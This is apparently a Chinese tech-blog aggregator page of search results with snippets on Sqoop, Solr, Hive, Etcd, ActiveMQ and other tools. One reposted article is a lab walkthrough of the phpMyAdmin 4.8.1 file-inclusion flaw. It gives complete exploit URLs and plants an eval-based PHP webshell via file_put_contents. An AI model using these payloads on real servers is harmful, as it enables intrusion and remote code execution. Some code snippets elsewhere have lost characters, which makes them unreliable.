前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[参数不合法]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
Sqoop
...关于数据库连接的那些参数设置,保证这些参数都和实际情况对得上号哈。另外,你也可以试试重启 sqoop 服务这个法子,同时把临时文件夹清理一下。这样一来,就能确保 sqoop 在运行时稳稳当当,不闹脾气出状况啦。 (2)java.sql.SQLException: ORA-00955: 名称已经存在 这个问题是因为你在创建表的时候,名称已经被其他表使用了。解决方法是在创建表的时候,给表起一个新的名字,避免与其他表重名。 (3)java.io.IOException: Could not find or load main class com.cloudera.sqoop.lib.SqoopTool 这个问题是因为你的 Sqoop 版本过低,或者没有正确安装。解决方法是更新你的 Sqoop 到最新版本,或者重新安装 Sqoop。 三、实例演示 为了让大家更好地理解和掌握以上的方法,下面我将通过具体的实例来演示如何使用 Sqoop 导出数据。 首先,假设我们要从 Oracle 数据库中导出一个名为 "orders" 的表。首先,我们需要在 Sqoop.xml 文件中添加以下内容: xml connect.url jdbc:oracle:thin:@localhost:1521:ORCL connect.username scott connect.password tiger export.query select from orders 然后,我们可以使用以下命令来执行 Sqoop 导出操作: bash sqoop export --connect jdbc:oracle:thin:@localhost:1521:ORCL --username scott --password tiger --table orders --target-dir /tmp/orders 这个命令将会把 "orders" 表中的所有数据导出到 "/tmp/orders" 目录下。 四、总结 通过以上的讲解和实例演示,我相信大家已经对如何使用 Sqoop 导出数据有了更深的理解。同时呢,我真心希望大家都能在实际操作中摸爬滚打,不断去尝试、去探索、去学习,让自己的技术水平像火箭一样嗖嗖地往上窜。 最后,我要说的是,虽然在使用 Sqoop 的过程中可能会遇到各种各样的问题,但只要我们有足够的耐心和毅力,就一定能够找到解决问题的办法。所以,无论何时何地,我们都应该保持一颗积极向上的心态,勇往直前! 好了,今天的分享就到这里,感谢大家的阅读和支持!希望我的分享能对大家有所帮助,也希望大家在以后的工作和学习中取得更大的进步!
2023-05-30 23:50:33
120
幽谷听泉-t
Superset
...合方式以及各种可视化参数,以满足不同的数据分析需求和业务场景。 聚合方式 , 在数据处理和分析中,聚合方式指的是对一组数值数据应用某种统计运算以获得一个汇总值的过程。例如,在Superset中设置聚合方式可能包括SUM(求和)、AVG(平均)、MAX(最大值)、MIN(最小值)等。在数据列映射时选择正确的聚合方式至关重要,因为这将直接影响到最终可视化的表现形式和传达的信息内容。例如,在销售数据可视化中,如果我们想展示不同产品类型的总销售额,就需要将“销售额”这一列的聚合方式设置为SUM。
2023-09-13 11:26:54
100
清风徐来-t
Apache Solr
...ftCommit的参数,以减少因频繁提交而导致的并发冲突。 5. 总结与思考 在实际开发过程中,我们不仅要了解Apache Solr提供的并发控制机制,更要结合具体业务场景灵活运用,适时采取合适的并发控制策略。当碰上并发写入冲突,导致数据插不进去的尴尬情况时,咱们得主动出击,找寻并实实在在地执行那些能解决问题的好法子,这样才能确保咱们系统的平稳运行,保证数据的准确无误、前后一致。在摸爬滚打的探索旅程中,我们不断吸收新知识,理解奥秘,改进不足,这正是技术所散发出的独特魅力,也是咱们这群开发者能够持续进步、永不止步的原动力。
2023-12-03 12:39:15
536
岁月静好
Consul
...try_join 参数设置不当,可能导致Agent无法稳定加入集群,从而影响服务注册和心跳维持。 3. 解决思路与实践 3.1 精细化健康检查配置 针对健康检查引发的问题,我们需要结合业务场景合理设置健康检查间隔、超时时间和失败阈值,避免由于短暂的性能波动或同步延迟导致服务实例被误注销。 3.2 强化服务实例稳定性 优化服务实例自身的设计,确保其具有良好的容错能力,尽量减少因异常而退出的情况发生。同时,对网络环境进行优化,保证Consul Agent与服务实例之间稳定的网络连接。 3.3 配置Consul Agent正确加入集群 仔细审查并调整Consul Agent的配置,确保其能准确无误地加入到Consul集群中。在部署云环境时,为了让Agent能够自动重新连接,我们可以灵活运用动态DNS这个小工具,或者直接采用云服务商提供的服务发现机制,这样一来,即使出现问题,Agent也能自己找到回家的路,保持稳定连接。 4. 结语与思考 面对Consul中服务实例频繁自动注销的问题,我们需要像侦探一样,从多个角度抽丝剥茧寻找问题根源。实践中,正确的健康检查策略、稳定的服务实例以及合理的Consul Agent配置缺一不可。这样才行,我们才能打造出一个既结实又稳当的服务发现系统,让Consul在咱们的微服务家族里真正地发挥作用,发挥出它应有的价值。 以上内容只是抛砖引玉,实际情况可能更为复杂多样,解决问题的过程中,我们也需要不断观察、学习、反思与改进,让技术服务于业务,而不是成为业务发展的绊脚石。在这个过程中,每一步的探索都充满了挑战与乐趣,而这正是技术的魅力所在!
2024-01-22 22:56:45
520
星辰大海
转载文章
...容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 一、dvajs 开源地址:https://dvajs.com/ 1.dva dva 首先是一个基于 redux 和 redux-saga 的数据流方案,然后为了简化开发体验,dva 还额外内置了 react-router 和 fetch,所以也可以理解为一个轻量级的应用框架。 2.特性 易学易用,仅有 6 个 api,对 redux 用户尤其友好,配合 umi 使用后更是降低为 0 API elm 概念,通过 reducers, effects 和 subscriptions 组织 model 插件机制,比如 dva-loading 可以自动处理 loading 状态,不用一遍遍地写 showLoading 和 hideLoading 支持 HMR,基于 babel-plugin-dva-hmr 实现 components、routes 和 models 的 HMR 二、umijs 开源地址:https://umijs.org/ 1.umi umi是一个基于路由的框架,支持next.js类似的传统路由和各种高级路由功能,例如路由级按需加载。凭借涵盖从源代码到构建产品的每个生命周期的完整插件系统,umi能够支持各种功能扩展和业务需求。目前,umi在社区和公司内部拥有近50多个插件。 umi是Ant Financial的基本前端框架,直接或间接地为600多个应用程序提供服务,包括Java,节点,移动应用程序,混合应用程序,纯前端资产应用程序,CMS应用程序等。umi为我们的内部用户提供了很好的服务,我们希望它能够很好地为外部用户服务。 2.功能 ? 开箱即用,内置支持反应,反应路由器等。 ?Next.js 喜欢和全功能的路由约定,它也支持配置的路由 ? 完整的插件系统,涵盖从源代码到生产的每个生命周期 ? 高性能,通过插件支持PWA,路由级代码分割等 ? 支持静态导出,适应各种环境,如控制台应用程序,移动应用程序,鸡蛋,支付宝钱包等 ? 快速启动启动,支持使用config 启用dll和hard-source-webpack-plugin ? 与IE9兼容,基于umi-plugin-polyfills ? 支持TypeScript,包括d.ts定义和umi test ? 与深度集成DVA,支持鸭子目录,模型的自动加载,代码分裂等 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_32447301/article/details/93423515。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-06 14:19:32
316
转载
转载文章
...容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 原网站:https://www.cnblogs.com/minghost/p/11941668.html scroll组件:<template name="scroll"><view class=""><view class="all"><scroll-view class="nav-bar" scroll-x @scroll="scroll"><!-- 要想使用flex布局实现横向滚动,就要在scroll-view里加一层容器包裹,并且使用子组件才会出现滚动效果 --><view class="nav-bar-wrap"><block v-for="(item,index) in navbarArr" :key="index"><view class="nav-bar-item" @click="onNavbarItem(item.id)" :id="item.id"><image :src="item.pic_url" /><text>{ {item.name} }</text></view></block></view></scroll-view></view><view class="slider"><view class="slider-inside .slider-inside-location" :style="{left:lefts}"></view></view></view></template><script>export default {name: "scroll",data() {return {lefts:0} },props: {navbarArr: {type: Array},left: {type: Number} },created: function(e) {console.log(this.left,"leftinfo")},methods: {onNavbarItem(id) {console.log(id)// const id = options.currentTarget.dataset.id// wx.navigateTo({// url: /pages/mysignup/mysignup?id=${id},// })},scroll(event) {let that = thisconsole.log(event)let scrollLeft = event.detail.scrollLeft;let scrllWidth = event.detail.scrollWidth - 375;// that.left = ${(scrollLeft) / scrllWidth 100}%// this.$emit("changeLeft",that.lefts)// 32是剩余要滑动的地方let newLeft = scrollLeft / scrllWidth 32that.lefts =newLeft + 'rpx'} }}</script><style>.all {position: relative;height: 330rpx;overflow: hidden;background: fff;}scroll-view {white-space: nowrap;}/ 去除滚动条 /::-webkit-scrollbar {display: none;width: 0;height: 0;color: transparent;}.nav-bar-wrap {display: flex;flex-flow: column wrap;height: 330rpx;}.nav-bar-item {width: 187.5rpx;display: flex;flex-direction: column;align-items: center;padding-top: 28rpx;}.nav-bar-item image {display: block;height: 90rpx;width: 90rpx;margin: 0;}.nav-bar-item text {margin-top: 5rpx;line-height: 32rpx;font-size: 25rpx;}.slider {position: relative;margin-left: 50%;/ left: 50%; /transform: translateX(-50%);width: 64rpx;height: 6rpx;border-radius: 3rpx;background: eee;}.slider-inside {/ transform: translateX(-50%); /width: 32rpx;height: 100%;border-radius: 3rpx;background-color: 11BEA7;}.slider-inside-location {position: absolute;/ left: 50%; /}</style> 使用组件:<template><view><scroll :navbarArr="navbarArr" :left="left" @changeLeft="changeLeft"></scroll></view></template><script>import scroll from "../../components/scroll.vue"export default {components:{scroll},data() {return {navbarArr: [{pic_url: '../static/images/ic_57@2x.png',name: '骨科',id: 1},{pic_url: '../static/images/ic_59@2x.png',name: '检验科',id: 2},{pic_url: '../static/images/ic_56@2x.png',name: '外壳',id: 3},{pic_url: '../static/images/ic_53@2x.png',name: '口腔科',id: 4},{pic_url: '../static/images/ic_54@2x.png',name: '猫科',id: 5},{pic_url: '../static/images/ic_52@2x.png',name: '内科',id: 6},{pic_url: '../static/images/ic_50@2x.png',name: '皮肤科',id: 7},{pic_url: '../static/images/ic_52@2x.png',name: '肾病',id: 8},{pic_url: '../static/images/ic_58@2x.png',name: '血透科',id: 9},{pic_url: '../static/images/ic_62@2x.png',name: '肾病',id: 10},{pic_url: '../static/images/ic_64@2x.png',name: '血透科',id: 11},],left:0.65625} },methods: {changeLeft(e){let that = thisthat.left = e} },}</script> 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_45584157/article/details/117958700。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-06 12:38:02
624
转载
RabbitMQ
...令)且requeue参数为false,或者消息过期(TTL到期)时,它们会被发送到死信队列。死信队列有助于捕获和分析那些未能成功处理的消息,以便开发者可以了解问题所在并采取措施解决。在本文中,定期清理死信队列被视为一种有效的磁盘空间管理策略。
2024-12-04 15:45:21
132
红尘漫步
Apache Solr
...thod=enum参数来实现全局唯一计数。这种方法就像个超级小能手,它会在每个分片上麻利地生成一整套facet结果集合,然后在那个协调节点的大本营里,把所有这些结果汇拢到一起,这样一来,就能巧妙地避免了重复计算的问题啦。 java // 示例:修正后的facet统计请求,启用enum方法以保证跨分片统计准确 SolrQuery query = new SolrQuery(":"); query.setFacet(true); query.setFacetMethod(FacetParams.FACET_METHOD_ENUM); query.addFacetField("productCategory_s"); solrClient.query("collection1", query); 不过,需要注意的是,facet.method=enum虽然能保证准确性,但会增加网络传输和内存消耗,对于大数据量的facet统计可能会造成性能瓶颈。因此,在设计系统时,需结合业务需求权衡统计精确性与响应速度之间的关系。 05 探讨与优化策略 面对facet统计的挑战,除了使用正确的配置参数外,还可以从以下几个方面进一步优化: - 预聚合:针对频繁查询的facet字段,可定期进行预计算并将统计结果存储在索引中,减轻实时统计的压力。 - 合理分片:在构建索引时,依据facet字段的分布特性调整分片策略,尽量使相同或相似facet值的商品集中在同一分片上,降低跨分片统计的需求。 - 硬件与集群扩容:提升网络带宽和服务器资源,或者适当增加Solr集群规模,分散facet统计压力。 06 结语 Apache Solr的强大之处在于其高度可定制化和扩展性,面对跨分片facet统计这类复杂问题,我们既需要深入理解原理,也要灵活运用各种工具和技术手段。只有通过持续的动手实践和不断改进优化,才能确保在数据统计绝对精准无误的同时,在分散各地的分布式环境下也能实现飞速高效的检索目标。在这个过程中,不断探索、思考与改进,正是技术人员面对技术挑战的乐趣所在。
2023-11-04 13:51:42
376
断桥残雪
转载文章
...容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 java的问题: 1.性能:java的内存管理似乎比较自动化,但其实性能不是特别好。尤其是new对象的时候没有节制。在java中,有些对象构造成本很低,有些 很高。特别在UI编程的时候,大多数的UI对象其构建成本都比较高昂。如果在开发过程中没有节约意识,肯定会导致JVM不停的GC,系统表现很卡的样子, 当然,彻底的当掉可能还不会,但基本上工作已经是非常的缓慢的了。 2;引用:JAVA中其实在大量的使用对象引用,对象引用可以减少内存占用,不去构建不必要的对象。但事实上,多数程序员对引用的理解不是很到位,结果导致过多不必要的对象构建,虚耗内存。代码可读性也不佳,编写的时候尤其觉的疲惫。 3;面向对象:java是面向对象的语言,但是它有基础类型,这些基础类型不是面向对象的,不能当作引用传递。一般来说,这些基础类型可以用来表示 一个对象的状态。java中的对象一定要包含状态,没有状态的对象其实是不存在的,没有状态的东西不是对象,而是一个行为集合。但是java中没有一个明 确的结构来表达这个情况,所以只能写一个类来表示,同时将这个类的构造定义成私有的,防止被别人构建。这个时候的类的作用等同与命名空间。java在面向 对象的支持方面其实是很残缺的,缺乏很多必要的支持,比如虚函数,多重继承,友元。这种残缺,导致设计困难,所以java的系统都十分的罗嗦。 4:复杂:java越来越复杂了。注解,泛型,枚举,特性很多。 5:不可变:java支持不可变,但是大多数人并不了解这个主题。不可变系统其实比较容易实现,同时也不容易出错。但是java是基于引用的系统,不可变会导致大量的内存问题。JVM缺乏尾递归优化,这其实也是一个问题。 转自:http://my.oschina.net/clarkhill/blog/59546 转载于:https://www.cnblogs.com/yangh2016/p/5762333.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30561425/article/details/95164045。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-21 23:48:35
276
转载
ActiveMQ
...中间件的性能时,这个参数可是关键指标之一,不容忽视! 3. ActiveMQ P2P模式下的消息传递过程及延迟影响因素 在ActiveMQ的P2P模式中,消息传递延迟主要受到以下几个因素的影响: - 网络延迟:消息在网络中的传输时间。 - 队列处理延迟:包括消息入队、存储和出队的操作耗时。 - 消费者响应速度:消费者接收到消息后处理的速度。 4. 示例代码 ActiveMQ P2P模式配置与使用 下面我们将通过Java代码示例来演示如何在ActiveMQ中设置P2P模式以及进行消息收发,以此观察并分析消息传递延迟。 java // 导入必要的ActiveMQ依赖 import org.apache.activemq.ActiveMQConnectionFactory; import javax.jms.Connection; import javax.jms.Destination; import javax.jms.MessageProducer; import javax.jms.Session; import javax.jms.TextMessage; // 创建连接工厂 ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://localhost:61616"); // 创建连接与会话 Connection connection = factory.createConnection(); connection.start(); Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE); // 创建目标队列 Destination queue = session.createQueue("MyQueue"); // 创建消息生产者 MessageProducer producer = session.createProducer(queue); // 发送消息,记录当前时间 long startTime = System.currentTimeMillis(); TextMessage message = session.createTextMessage("Hello, World!"); producer.send(message); System.out.println("Message sent at " + startTime); // 接收端代码... 上述代码片段创建了一个消息生产者并发送了一条消息。在真实世界的应用场景里,我们得在另一边搞个消息接收器,专门用来抓取并消化这条消息,这样一来,咱们就能准确计算出消息从发送到接收的整个过程究竟花了多少时间。 5. 控制与优化ActiveMQ P2P模式下的消息传递延迟 为了降低消息传递延迟,我们可以从以下几个方面着手: - 提升网络环境质量:优化网络设备,提高带宽,减少网络拥堵等因素。 - 合理配置ActiveMQ:如调整内存参数、磁盘存储策略等,以适应特定场景的需求。 - 优化消费者处理逻辑:确保消费者能够快速且有效地处理消息,避免成为消息传递链路中的瓶颈。 6. 结语 ActiveMQ在P2P模式下的消息传递延迟受多方面因素影响,但通过深入理解其工作原理和细致调优,我们完全可以在满足业务需求的同时,有效控制并降低延迟。希望以上的探讨和我给你们准备的那些代码实例,能够真真切切地帮到你们,让你们对ActiveMQ咋P2P模式下的表现有个更接地气、更透彻的理解,这样一来,你们设计分布式系统时就可以更加得心应手,优化起来也能更有针对性啦! 在探索ActiveMQ的道路上,每一次实践都是对技术更深层次的理解,每一次思考都是为了追求更好的性能体验。让我们共同携手,继续挖掘ActiveMQ的无限可能!
2023-11-19 09:23:19
434
追梦人
Logstash
...ltiline配置参数至关重要。比如,这个pattern呐,它就像是个超级侦探,得按照你日志的“穿衣风格”准确无误地找到每一段多行日志的开头标志。再来说说这个what字段,它就相当于我们的小助手,告诉我们哪几行该凑到一块儿去,可能是上一个兄弟,也可能是下一个邻居。最后,还有个灵活的小开关negate,你可以用它来反转匹配规则,这样就能轻松应对各种千奇百怪的日志格式啦! 当你调试多行日志合并规则时,可能会经历一些曲折,因为不同的应用程序可能有着迥异的日志格式。这就需要我们化身成侦探,用敏锐的眼光去洞察,用智慧的大脑去推理,手握正则表达式的“试验田”,不断试错、不断调整优化。直到有一天,我们手中的正则表达式如同一把无比精准的钥匙,咔嚓一声,就打开了与日志结构完美匹配的那扇大门。 总结起来,在Logstash中处理多行日志合并是一个涉及对日志结构深入理解的过程,也是利用Logstash强大灵活性的一个体现。你知道吗,如果我们灵巧地使用multiline这个codec或者filter小工具,就能把那些本来七零八落的上下文信息,像拼图一样拼接起来,对齐得整整齐齐的。这样一来,后面我们再做数据分析时,不仅效率蹭蹭往上涨,而且结果也会准得没话说,简直不要太给力!
2023-08-19 08:55:43
249
春暖花开
Dubbo
...ntinel 相关的参数配置啦。接下来,咱们可以在Dubbo消费者这边动手启动一个Sentinel小客户端,并且得把它的一些相关参数给调校妥当。好嘞,到这一步,咱们就能在Dubbo的服务接口上动手脚啦,给它加上Sentinel的注解,这样一来,就可以轻轻松松实现服务熔断控制,就像是给电路装了个保险丝一样。 总结 在微服务架构中,服务调用的容错问题是一个非常重要的环节。设置一下Dubbo的熔断机制时间窗口,就能妥妥地拦住那些可能会引发系统大崩盘的服务调用异常情况,让我们的系统稳如泰山。同时,我们还可以通过集成Sentinel来进行更高级的流量控制和熔断控制。总的来说,熔断机制这个东东,可真是个超级实用的“法宝”,咱在日常开发工作中绝对值得大大地推广和运用起来!
2023-07-06 13:58:31
466
星河万里-t
Hive
...无谓的JOIN操作:不合理的JOIN操作可能导致数据集爆炸性增长,严重影响查询性能。 sql -- 示例:两个大表之间的JOIN,若关联字段没有索引或分区,则可能导致性能瓶颈 SELECT a., b. FROM large_table_a a JOIN large_table_b b ON (a.key = b.key); - 缺乏合理分区与索引:未对表进行合理分区设计或者缺失必要的索引,会导致Hive无法高效定位所需数据。 - 计算密集型操作:如GROUP BY、SORT BY等操作,如果处理的数据量过大且未优化,也会导致查询速度变慢。 3. 解决策略 从源头提升查询效率 - 减少数据扫描: - WHERE子句过滤:尽量精确地指定WHERE条件,减少无效数据的读取。 sql SELECT FROM large_table WHERE key = 'specific_value' AND date = '2022-01-01'; - 创建分区表:根据业务需求对表进行分区,使得查询可以只针对特定分区进行。 sql CREATE TABLE large_table_parted ( ... ) PARTITIONED BY (date STRING); - 优化JOIN操作: - 避免笛卡尔积:确保JOIN条件足够具体,限制JOIN后的数据规模。 - 考虑小表驱动大表:尽可能让数据量小的表作为JOIN操作的左表。 - 利用索引:虽然Hive原生支持的索引功能有限,但在某些场景下(如ORC文件格式),我们可以利用Bloom Filter索引加速查询。 sql ALTER TABLE large_table ADD INDEX idx_key ON KEY; - 分桶策略:对于GROUP BY、JOIN等操作,可尝试对相关字段进行分桶,从而分散计算负载。 sql CREATE TABLE bucketed_table (...) CLUSTERED BY (key) INTO 10 BUCKETS; 4. 总结与思考 面对Hive查询速度慢的问题,我们需要具备一种“侦探”般的洞察力,从查询语句本身出发,结合业务特点和数据特性,有针对性地进行优化。其实呢,上面提到的这些策略啊,都不是一个个单打独斗的“孤胆英雄”,而是需要咱们把它们巧妙地糅合在一起,灵活运用,最终才能编织出一套真正行之有效的整体优化方案。所以,你懂的,把这些技巧玩得贼溜,可不光是能让你查数据的速度嗖嗖提升,更关键的是,当你面对海量数据的时候,就能像切豆腐一样轻松应对,让Hive在大数据分析这片天地里,真正爆发出惊人的能量,展现它应有的威力。同时,千万记得要时刻紧跟Hive社区的最新动态,像追剧一样紧随其步伐,把那些新鲜出炉的优化技术和工具统统收入囊中。这样一来,咱们就能提前准备好充足的弹药,应对那日益棘手、复杂的数据难题啦!
2023-06-19 20:06:40
448
青春印记
Etcd
...引起: - 输入数据不合规:当待压缩的数据包含无法被Snappy识别或处理的内容时,就会抛出此错误。 - 内存限制:如果系统的可用内存不足,可能导致Snappy在压缩过程中失败。 - Snappy库内部错误:极少数情况下,可能是Snappy库本身存在bug或者与当前系统环境不兼容导致的。 3. 遇到Datacompressionerror的排查方法 假设我们在使用Etcd的过程中遭遇了此类错误,可以按照以下步骤进行排查: 步骤一:检查日志 查看Etcd的日志输出,定位错误发生的具体事务以及可能触发异常的数据内容。 步骤二:模拟压缩 通过编写类似上面的代码片段,尝试用Snappy压缩可能出现问题的数据部分,看是否能重现错误。 步骤三:资源监控 确保服务器有足够的内存资源用于Snappy压缩操作。可以通过系统监控工具(如top、htop等)实时查看内存使用情况。 步骤四:版本验证与升级 确认使用的Etcd及Snappy库版本,并查阅相关文档,看看是否有已知的关于数据压缩问题的修复版本,如有必要,请及时升级。 4. 解决Datacompressionerror的方法与实践 针对上述原因,我们可以采取如下措施来解决Datacompressionerror: - 清理无效数据:若发现特定的键值对导致压缩失败,应立即移除或修正这些数据。 - 增加系统资源:确保Etcd运行环境拥有足够的内存资源以支持正常的压缩操作。 - 升级依赖库:如确定是由于Snappy库的问题引起的,应尽快升级至最新稳定版或已知修复该问题的版本。 go // 假设我们需要删除触发压缩错误的某个键值对 import ( "go.etcd.io/etcd/clientv3" ) func deleteKey(client clientv3.Client, key string) error { _, err := client.Delete(context.Background(), key) return err } // 调用示例 err := deleteKey(etcdClient, "problematic-key") if err != nil { log.Fatal(err) } 总之,面对Etcd中的"data compression error",我们需要深入了解其背后的压缩机制,理性分析可能的原因,并通过实例代码演示如何排查和解决问题。在这个过程中,我们不光磨炼了搞定技术难题的硬实力,更是亲身感受到了软件开发实战中那份必不可少的探索热情和动手实践的乐趣。就像是亲手烹饪一道复杂的菜肴,既要懂得菜谱上的技术窍门,也要敢于尝试、不断创新,才能最终端出美味佳肴,这感觉倍儿爽!希望这篇文章能帮助你在遇到此类问题时,能够快速找到合适的解决方案。
2023-03-31 21:10:37
440
半夏微凉
转载文章
...容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 为了防止代码重复,我们就有了,文件包含。很多网页如果要用到很多同样的函数,那么我们就可以使用这个文件包含函数,就避免了每个网页又去重复造轮子。 在index.php文件里包含1.txt,而1.txt的内容是phpinfo(),include函数包含1.txt,就会把1.txt的内容当成php文件执行,不管后缀是什么。1.txt也好,1.xml也好,只要里面是php代码,然后有被include函数包含,那么就被当成PHP文件执行。 如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,然是不影响其他功能的执行,比如这里的nf和123的输出。那么就表明include函数,如果出现错误的话,并不会影响其他功能的运行。 如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,影响后面功能的执行,比如这里的nf的输出,后面的功能因为2.txt报错,导致123未执行。那么就表明require函数,如果出现错误的话,会影响后面功能的运行。 只要文件内是php代码,文件包含是不在意文件后缀的。 12345.jpg的传参值是a,那么我们可以写传参值=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’) 然后生成一个新的php文件 访问index.php 以上我们接触的全部是本地文件包含 说了本地文件包含,我们再来看远程文件包含 简单来说远程文件包含,就是可以包含其他主机上的文件,并当成php代码执行。 要实现远程文件包含的话,php配置的allow_url_include = on必须为on(开启) 来我们可以来实验一下,把这个配置打开。 “其他选项菜单”——“打开配置文件”——“php-ini” 打开配置文件,搜索allow_url_include 把Off改为On,注:第一个字母要为大写 之后要重启才能生效。 配置开启后,我们来远程文件包含一下,我们来远程包含一下kali上的1.txt,可以看到没有本地包含,所以直接显示的内容。 那我们现在来远程包含一下kali的这个1.txt,看会不会有phpinfo,注意我这里是index文件哦,所以是默认的。 可以看到,包含成功! 这里可以插一句题外话,如果是window服务器的话,可以让本地文件包含变成远程文件包含。需要开始XX配置,SMB服务。 这里我们可以发现,进入一个不存在的目录,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。 但是php是非常严格的,进入一个不存在的目录,这里目录的名字里不能有?号,否则报错,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。 实战 注意,这里php版本过低,会安装不上 安装好后,我们来解析下源码 1.txt内容phpinfo() 来本地文件包含一下,发现成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt 靶场 http://59.63.200.79:8010/lfi/phpmyadmin/ 先创建一个库名:nf 接着创建表:ff,字段数选2个就行了 然后选中我们之前创建好的库名和表名,开始写入数据,第一个就写个一句话木马,第二个随便填充。 然后我们找到存放表的路径。 这里我们要传参2个,那么就加上&这里我们找到之后传参phpinfo http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo(); 因为a在ff.frm里 <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 文件包含成功 用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 写入成功后,我们连接这个8.php的木马。 http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php 在线测试时这样,但是我在本地测试的时候,还是有点不一样的。我就直接上不一样的地方,前面的地方都是一样的 1,创建一个库为yingqian1984, 2,创建一个表为yq1984 3,填充表数据,因为跟上面一样,2个字段一个木马,一个随便数据 4,找数据表的位置,最后我发现我的MySQL存放数据库的地方是在 C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984 文件包含成功。 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo(); 用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 传参成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo(); 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_45300786/article/details/108724251。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-06 09:10:40
343
转载
SpringBoot
...mbda、条件测试、参数化测试等功能愈发完善,为开发者提供了更多灵活高效的测试手段。此外,与Mockito、AssertJ等第三方库的无缝整合,使得在SpringBoot项目中实现深度、全面的单元测试变得更为轻松。 值得关注的是,随着DevOps和持续集成/持续部署(CI/CD)理念的普及,自动化测试已经成为高质量软件交付的必备环节。诸如GitHub Actions、Jenkins等工具集成了各类测试框架,可以方便地将单元测试集成到自动化流水线中,确保每次代码变更后都能快速反馈测试结果,有效提升了软件开发生命周期的整体效率和质量保证水平。 综上所述,在实际开发工作中,紧跟SpringBoot和JUnit等主流测试工具和技术的最新动态,深入理解和熟练运用这些工具进行单元测试,对于提升个人编程技能、保障项目质量具有不可忽视的实际意义。
2023-11-11 08:06:51
77
冬日暖阳
转载文章
